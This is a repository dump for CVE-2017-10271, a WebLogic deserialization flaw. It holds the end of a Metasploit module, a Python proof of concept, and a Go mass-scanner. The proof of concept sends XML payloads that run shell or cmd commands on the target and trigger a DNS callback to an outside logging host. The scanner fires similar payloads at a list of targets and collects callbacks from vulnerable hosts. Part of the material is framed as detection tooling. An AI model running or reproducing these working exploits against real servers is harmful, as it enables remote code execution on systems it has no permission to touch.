exploit 183 | send_request_cgi({ 184 | 'method' => 'POST', 185 | 'uri' => normalize_uri(target_uri.path), 186 | 'data' => exploit_process_builder_payload, 187 | 'ctype' => 'text/xml;charset=UTF-8' 188 | }, datastore['TIMEOUT']) 189 | end 190 | end 191 | -------------------------------------------------------------------------------- /original-poc/original-poc.py: -------------------------------------------------------------------------------- 1 | 2 | #coding=utf8 3 | import sys 4 | import requests 5 | import random 6 | from string import letters 7 | 8 | 9 | class Exploit: 10 | 11 | def __init__(self, url): 12 | self.url = url if not url.endswith('/') else url.strip('/') 13 | self.API = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' 14 | self.domain = 'xxxxxx.ceye.io' 15 | self.BANNER = ''.join([random.choice(letters) for i in range(6)]) 16 | self.API_URL = 'http://api.ceye.io/v1/records?token={}&type=dns&filter={}'.format(self.API, self.BANNER) 17 | 18 | def run(self): 19 | self.post(self.get_linux_payload()) 20 | self.post(self.get_windows_payload()) 21 | 22 | def post(self, data): 23 | headers = { 24 | "Content-Type": "text/xml;charset=UTF-8", 25 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 26 | } 27 | payload = "/wls-wsat/CoordinatorPortType" 28 | 29 | vulnurl = self.url + payload 30 | try: 31 | req = requests.post(vulnurl, data=data, headers=headers, timeout=10, verify=False) 32 | except Exception: 33 | print "[-] Connection Error" 34 | 35 | if self.confirm_sucess(): 36 | print "[!] %s is vuln" % vulnurl 37 | sys.exit(0) 38 | 39 | def get_windows_payload(self): 40 | windows_post_data = ''' 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | cmd 49 | 50 | 51 | /c 52 | 53 | 54 | ping {}.{} 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | ''' 65 | return windows_post_data.format(self.BANNER, self.domain) 66 | 67 | def get_linux_payload(self): 68 | linux_post_data = ''' 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | /bin/sh 77 | 78 | 79 | -c 80 | 81 | 82 | ping {}.{} 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | ''' 93 | return linux_post_data.format(self.BANNER, self.domain) 94 | 95 | def confirm_sucess(self): 96 | req = requests.get(self.API_URL) 97 | d = req.json() 98 | try: 99 | name = d['data'][0]['name'] 100 | # print self.BANNER 101 | # print name 102 | if self.BANNER in name: 103 | return True 104 | except Exception: 105 | return False 106 | 107 | 108 | if __name__ == "__main__": 109 | if len(sys.argv) < 2: 110 | print 'Usage: python %s url' % sys.argv[0] 111 | sys.exit(0) 112 | 113 | exploit = Exploit(sys.argv[1]) 114 | exploit.run() 115 | -------------------------------------------------------------------------------- /scanners/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /scanners/Makefile: -------------------------------------------------------------------------------- 1 | BINARY=CVE-2017-10271 2 | GOARCH=amd64 3 | HASH=$(shell git rev-parse HEAD) 4 | BUILDDATE=$(shell date -u '+%Y-%m-%dT%k:%M:%SZ') 5 | GOVERSION=$(shell go version | sed -e 's/ /|^|/g') 6 | VERSION=1.5.1 7 | LDFLAGS=-ldflags "-s -X github.com/kkirsche/$(BINARY)/scanners/cmd.BuildHash=$(HASH) -X github.com/kkirsche/$(BINARY)/scanners/cmd.BuildTime=$(BUILDDATE) -X github.com/kkirsche/$(BINARY)/scanners/cmd.BuildVersion=$(VERSION) -X github.com/kkirsche/$(BINARY)/scanners/cmd.BuildGoVersion=$(GOVERSION)" 8 | 9 | lint: 10 | golint ./... 11 | 12 | vet: 13 | go vet ./... 14 | 15 | clean: 16 | rm -rf bin 17 | 18 | install: 19 | go install -race -v 20 | 21 | binary-depends: 22 | mkdir -p bin 23 | 24 | # Builds 25 | darwin-build: vet lint binary-depends 26 | env GOOS=darwin GOARCH=$(GOARCH) go build $(LDFLAGS) -race -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).darwin 27 | 28 | dragonfly-build: vet lint binary-depends 29 | env GOOS=dragonfly GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).dragonfly 30 | 31 | freebsd-build: vet lint binary-depends 32 | env GOOS=freebsd GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).freebsd 33 | 34 | linux-build: vet lint binary-depends 35 | env GOOS=linux GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).linux 36 | 37 | netbsd-build: vet lint binary-depends 38 | env GOOS=netbsd GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).netbsd 39 | 40 | openbsd-build: vet lint binary-depends 41 | env GOOS=openbsd GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).openbsd 42 | 43 | solaris-build: vet lint binary-depends 44 | env GOOS=solaris GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).solaris 45 | 46 | windows-build: vet lint binary-depends 47 | env GOOS=windows GOARCH=$(GOARCH) go build $(LDFLAGS) -v -o bin/$(BINARY).release.$(VERSION).$(GOARCH).windows.exe 48 | 49 | build: darwin-build dragonfly-build freebsd-build linux-build netbsd-build openbsd-build solaris-build windows-build 50 | 51 | .PHONY: vet install binary-depends lint 52 | -------------------------------------------------------------------------------- /scanners/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-10271 Vulnerability Scanner 2 | 3 | 4 | Weblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection Executable 5 | 6 | ### Usage 7 | 8 | ``` 9 | ~/g/p/C/scanners ❯❯❯ ./bin/CVE-2017-10271.release.1.5.0.amd64.darwin -h 10 | A purpose built scanner for detecting CVE-2017-10271. Starts a web 11 | server on the LPORT and then logs any host which contacts it, as they are 12 | vulnerable. 13 | 14 | Example usage: 15 | ./CVE-2017-10271.release.1.5.0.amd64.linux -s "10.10.10.10" -t "$(pwd)/targets.txt -o output_file.txt -v --all-urls" 16 | 17 | Example targets.txt: 18 | http://pwned.com:7001/ 19 | https://pwnedalso.com:8002/ 20 | 21 | Usage: 22 | cve-2017-10271 [flags] 23 | cve-2017-10271 [command] 24 | 25 | Available Commands: 26 | help Help about any command 27 | version The version of the binary 28 | 29 | Flags: 30 | -u, --all-urls Check for all possible vulnerable URL suffixes 31 | -h, --help help for cve-2017-10271 32 | -s, --listening-host string The IP of this machine's public interface 33 | -l, --listening-port int The port to listen for vulnerable responses (default 4444) 34 | -o, --output-file string File to output results to 35 | -t, --target-file string File with list of targets in http(s)://HOSTNAME:PORT format 36 | -a, --threads int Number of threads to use while scanning (default 10) 37 | -v, --verbose Enable verbose mode (Print who is being scanned 38 | -w, --wait-time int Seconds to wait after we complete sending payloads (default 20) 39 | 40 | Use "cve-2017-10271 [command] --help" for more information about a command. 41 | ``` 42 | -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.darwin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.darwin -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.dragonfly: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.dragonfly -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.freebsd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.freebsd -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.linux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.linux -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.netbsd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.netbsd -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.openbsd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.openbsd -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.solaris: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.solaris -------------------------------------------------------------------------------- /scanners/bin/CVE-2017-10271.release.1.5.1.amd64.windows.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kkirsche/CVE-2017-10271/546bdaa81a1d1cc2a11c754185164cee238f828e/scanners/bin/CVE-2017-10271.release.1.5.1.amd64.windows.exe -------------------------------------------------------------------------------- /scanners/cmd/root.go: -------------------------------------------------------------------------------- 1 | // Copyright © 2018 Kevin Kirsche 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cmd 16 | 17 | import ( 18 | "bufio" 19 | "fmt" 20 | "net/http" 21 | "net/url" 22 | "os" 23 | "strings" 24 | "sync" 25 | "time" 26 | 27 | "github.com/kkirsche/CVE-2017-10271/scanners/libcve201710271" 28 | "github.com/sirupsen/logrus" 29 | "github.com/spf13/cobra" 30 | ) 31 | 32 | var ( 33 | config libcve201710271.Config 34 | ) 35 | 36 | // RootCmd represents the base command when called without any subcommands 37 | var RootCmd = &cobra.Command{ 38 | Use: "cve-2017-10271", 39 | Short: "Scan for the CVE-2017-10271 vulnerability", 40 | Long: fmt.Sprintf(`A purpose built scanner for detecting CVE-2017-10271. Starts a web 41 | server on the LPORT and then logs any host which contacts it, as they are 42 | vulnerable. 43 | 44 | Example usage: 45 | ./CVE-2017-10271.release.%s.amd64.linux -s "10.10.10.10" -t "$(pwd)/targets.txt -o output_file.txt -v --all-urls" 46 | 47 | Example targets.txt: 48 | http://pwned.com:7001/ 49 | https://pwnedalso.com:8002/ 50 | `, BuildVersion), 51 | // Uncomment the following line if your bare application 52 | // has an action associated with it: 53 | Run: func(cmd *cobra.Command, args []string) { 54 | if config.Verbose { 55 | logrus.SetLevel(logrus.InfoLevel) 56 | } else { 57 | logrus.SetLevel(logrus.WarnLevel) 58 | } 59 | 60 | if config.Lport < 1 || config.Lport > 65535 { 61 | logrus.Errorln("Listening port must be greater than 0 and less than 65536. Exiting...") 62 | return 63 | } 64 | 65 | if config.Lhost == "" { 66 | logrus.Errorln("Listening host IP address or hostname is required. Exiting...") 67 | return 68 | } 69 | 70 | if config.TargetFile == "" { 71 | logrus.Errorln("Target file is required. Exiting...") 72 | return 73 | } 74 | 75 | if config.OutputFile != "" { 76 | f, err := os.OpenFile(config.OutputFile, os.O_WRONLY|os.O_CREATE, 0755) 77 | if err != nil { 78 | logrus.WithError(err).Errorln("Failed to open file for writing") 79 | } 80 | logrus.SetOutput(f) 81 | } 82 | 83 | libcve201710271.Banner(config) 84 | 85 | logrus.Infof("Starting webserver on port %d to catch vulnerable hosts", config.Lport) 86 | go func() { 87 | http.HandleFunc("/cve-2017-10271", vulnHandler) 88 | http.ListenAndServe(fmt.Sprintf(":%d", config.Lport), vulnLog(http.DefaultServeMux)) 89 | }() 90 | 91 | f, err := os.Open(config.TargetFile) 92 | if err != nil { 93 | logrus.WithError(err).Errorln("Failed to open target file.") 94 | return 95 | } 96 | defer f.Close() 97 | 98 | targetCh := make(chan libcve201710271.TargetHost) 99 | 100 | m := &sync.Mutex{} 101 | for w := 1; w <= config.Threads; w++ { 102 | go libcve201710271.Worker(w, m, targetCh) 103 | } 104 | 105 | scanner := bufio.NewScanner(f) 106 | for scanner.Scan() { 107 | rhost := strings.TrimSpace(scanner.Text()) 108 | rhost = strings.TrimRight(rhost, "/") 109 | 110 | var urls []string 111 | urls = libcve201710271.DefaultURLs 112 | if config.AllURLs { 113 | urls = libcve201710271.AllURLs 114 | } 115 | 116 | for _, url := range urls { 117 | xmlPayload := libcve201710271.GenerateCheckPayload(config.Lhost, config.Lport, rhost, url) 118 | th := libcve201710271.TargetHost{ 119 | R: rhost, 120 | P: xmlPayload, 121 | U: url, 122 | } 123 | targetCh <- th 124 | } 125 | } 126 | 127 | if err := scanner.Err(); err != nil { 128 | close(targetCh) 129 | logrus.Fatal(err) 130 | } 131 | close(targetCh) 132 | 133 | logrus.Infoln("Sleeping for 10 seconds in case we have any stragglers...") 134 | time.Sleep(time.Duration(config.WaitTime) * time.Second) 135 | }, 136 | } 137 | 138 | func vulnLog(handler http.Handler) http.Handler { 139 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 140 | t, _ := url.QueryUnescape(r.URL.Query().Get("target")) 141 | if config.OutputFile != "" { 142 | fmt.Printf("[VULNERABLE] Remote Address: %s | From Target: %s | Method: %s\n", r.RemoteAddr, t, r.Method) 143 | } 144 | logrus.Warnf("[VULNERABLE] Remote Address: %s | From Target: %s | Method: %s", r.RemoteAddr, t, r.Method) 145 | handler.ServeHTTP(w, r) 146 | }) 147 | } 148 | 149 | func vulnHandler(w http.ResponseWriter, r *http.Request) { 150 | fmt.Fprintf(w, "WARNING! You are vulnerable to CVE-2017-10271") 151 | } 152 | 153 | // Execute adds all child commands to the root command and sets flags appropriately. 154 | // This is called by main.main(). It only needs to happen once to the rootCmd. 155 | func Execute() { 156 | if err := RootCmd.Execute(); err != nil { 157 | fmt.Println(err) 158 | os.Exit(1) 159 | } 160 | } 161 | 162 | func init() { 163 | 164 | // Cobra also supports local flags, which will only run 165 | // when this action is called directly. 166 | RootCmd.Flags().StringVarP(&config.Lhost, "listening-host", "s", "", "The IP of this machine's public interface") 167 | RootCmd.Flags().IntVarP(&config.Lport, "listening-port", "l", 4444, "The port to listen for vulnerable responses") 168 | RootCmd.Flags().StringVarP(&config.TargetFile, "target-file", "t", "", "File with list of targets in http(s)://HOSTNAME:PORT format") 169 | RootCmd.Flags().BoolVarP(&config.Verbose, "verbose", "v", false, "Enable verbose mode (Print who is being scanned") 170 | RootCmd.Flags().BoolVarP(&config.AllURLs, "all-urls", "u", false, "Check for all possible vulnerable URL suffixes") 171 | RootCmd.Flags().StringVarP(&config.OutputFile, "output-file", "o", "", "File to output results to") 172 | RootCmd.Flags().IntVarP(&config.Threads, "threads", "a", 10, "Number of threads to use while scanning") 173 | RootCmd.Flags().IntVarP(&config.WaitTime, "wait-time", "w", 20, "Seconds to wait after we complete sending payloads") 174 | } 175 | -------------------------------------------------------------------------------- /scanners/cmd/version.go: -------------------------------------------------------------------------------- 1 | // Copyright © 2018 Kevin Kirsche 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cmd 16 | 17 | import ( 18 | "strings" 19 | 20 | "github.com/sirupsen/logrus" 21 | "github.com/spf13/cobra" 22 | ) 23 | 24 | var ( 25 | // BuildVersion the version of the binary (e.g. 1.2.0) 26 | BuildVersion string 27 | // BuildGoVersion is what version of Golang we built the binary with 28 | BuildGoVersion string 29 | // BuildHash is the git hash that we were at when this was built 30 | BuildHash string 31 | // BuildTime is when we built the binary 32 | BuildTime string 33 | ) 34 | 35 | // versionCmd represents the version command 36 | var versionCmd = &cobra.Command{ 37 | Use: "version", 38 | Short: "The version of the binary", 39 | Long: `The build date and build hash associated with the build to allow for 40 | better identification of when the binary was made and what features it 41 | offers`, 42 | Run: func(cmd *cobra.Command, args []string) { 43 | logrus.Printf("Version:\t%s", BuildVersion) 44 | logrus.Printf("Go Version:\t%s", strings.Join(strings.Split(BuildGoVersion, "|^|"), " ")) 45 | logrus.Printf("Git Hash:\t%s", BuildHash) 46 | logrus.Printf("Build Time:\t%s", BuildTime) 47 | }, 48 | } 49 | 50 | func init() { 51 | RootCmd.AddCommand(versionCmd) 52 | 53 | // Here you will define your flags and configuration settings. 54 | 55 | // Cobra supports Persistent Flags which will work for this command 56 | // and all subcommands, e.g.: 57 | // versionCmd.PersistentFlags().String("foo", "", "A help for foo") 58 | 59 | // Cobra supports local flags which will only run when this command 60 | // is called directly, e.g.: 61 | // versionCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle") 62 | } 63 | -------------------------------------------------------------------------------- /scanners/libcve201710271/banner.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | // Banner prints out a banner with the settings of the applications 9 | func Banner(config Config) { 10 | fmt.Println(strings.Repeat("=", 80)) 11 | fmt.Println("Author: Kevin Kirsche (d3c3pt10n)") 12 | fmt.Println(strings.Repeat("=", 80)) 13 | fmt.Println("Configuration:") 14 | fmt.Printf("\tListening Host: %s\n", config.Lhost) 15 | fmt.Printf("\tListening Port: %d\n", config.Lport) 16 | fmt.Printf("\tOutput File: %s\n", config.OutputFile) 17 | fmt.Printf("\tTargets File: %s\n", config.TargetFile) 18 | fmt.Printf("\tThreads: %d\n", config.Threads) 19 | fmt.Printf("\tScan Complete Wait Time: %d\n", config.WaitTime) 20 | fmt.Printf("\tScan All URLs: %t\n", config.AllURLs) 21 | fmt.Printf("\tVerbose mode: %t\n", config.Verbose) 22 | fmt.Println(strings.Repeat("=", 80)) 23 | } 24 | -------------------------------------------------------------------------------- /scanners/libcve201710271/config.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | // Config is used to store the different configurations that we need 4 | type Config struct { 5 | Lhost string 6 | Lport int 7 | TargetFile string 8 | Verbose bool 9 | OutputFile string 10 | Threads int 11 | WaitTime int 12 | AllURLs bool 13 | } 14 | -------------------------------------------------------------------------------- /scanners/libcve201710271/payload.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | import ( 4 | "fmt" 5 | "net/url" 6 | ) 7 | 8 | // GenerateCheckPayload is used to create a check payload for use in identifying 9 | // vulnerable hosts 10 | func GenerateCheckPayload(lhost string, lport int, rhost, u string) string { 11 | xmlPayload := fmt.Sprintf(` 12 | 13 | 14 | 15 | 16 | http://%s:%d/cve-2017-10271?target=%s%s 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | `, lhost, lport, url.QueryEscape(rhost), url.QueryEscape(u)) 26 | 27 | return xmlPayload 28 | } 29 | -------------------------------------------------------------------------------- /scanners/libcve201710271/request.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "fmt" 7 | "net/http" 8 | "strings" 9 | "sync" 10 | "time" 11 | 12 | "github.com/sirupsen/logrus" 13 | ) 14 | 15 | // SendRequest is used to generate the actual request that we send out 16 | func SendRequest(th TargetHost, id int, m *sync.Mutex) { 17 | tr := &http.Transport{ 18 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 19 | } 20 | 21 | client := &http.Client{ 22 | Timeout: 10 * time.Second, 23 | Transport: tr, 24 | } 25 | 26 | if !strings.HasPrefix(th.R, "http") { 27 | th.R = fmt.Sprintf("http://%s", th.R) 28 | } 29 | 30 | url := fmt.Sprintf("%s%s", th.R, th.U) 31 | req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(th.P))) 32 | if err != nil { 33 | m.Lock() 34 | logrus.WithError(err).Errorln("Failed to create HTTP POST request") 35 | m.Unlock() 36 | return 37 | } 38 | 39 | req.Header.Add("Content-Type", "text/xml; charset=UTF-8") 40 | req.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36") 41 | 42 | m.Lock() 43 | logrus.Infof("Sending payload to %s in worker %d", url, id) 44 | m.Unlock() 45 | res, err := client.Do(req) 46 | if err != nil { 47 | m.Lock() 48 | logrus.WithError(err).Errorln("Error occurred while performing POST request") 49 | m.Unlock() 50 | return 51 | } 52 | 53 | m.Lock() 54 | logrus.WithFields(logrus.Fields{ 55 | "status_code": res.StatusCode, 56 | "status": res.Status, 57 | }).Infof("Payload sent to %s from worker %d", url, id) 58 | m.Unlock() 59 | } 60 | -------------------------------------------------------------------------------- /scanners/libcve201710271/target.go: -------------------------------------------------------------------------------- 1 | package libcve201710271 2 | 3 | // TargetHost is the information used to send a request 4 | type TargetHost struct { 5 | // R is the remote host 6 | R string 7 | // P is the payload 8 | P string 9 | // U is for the endpoint url 10 | U string 11 | } 12 | 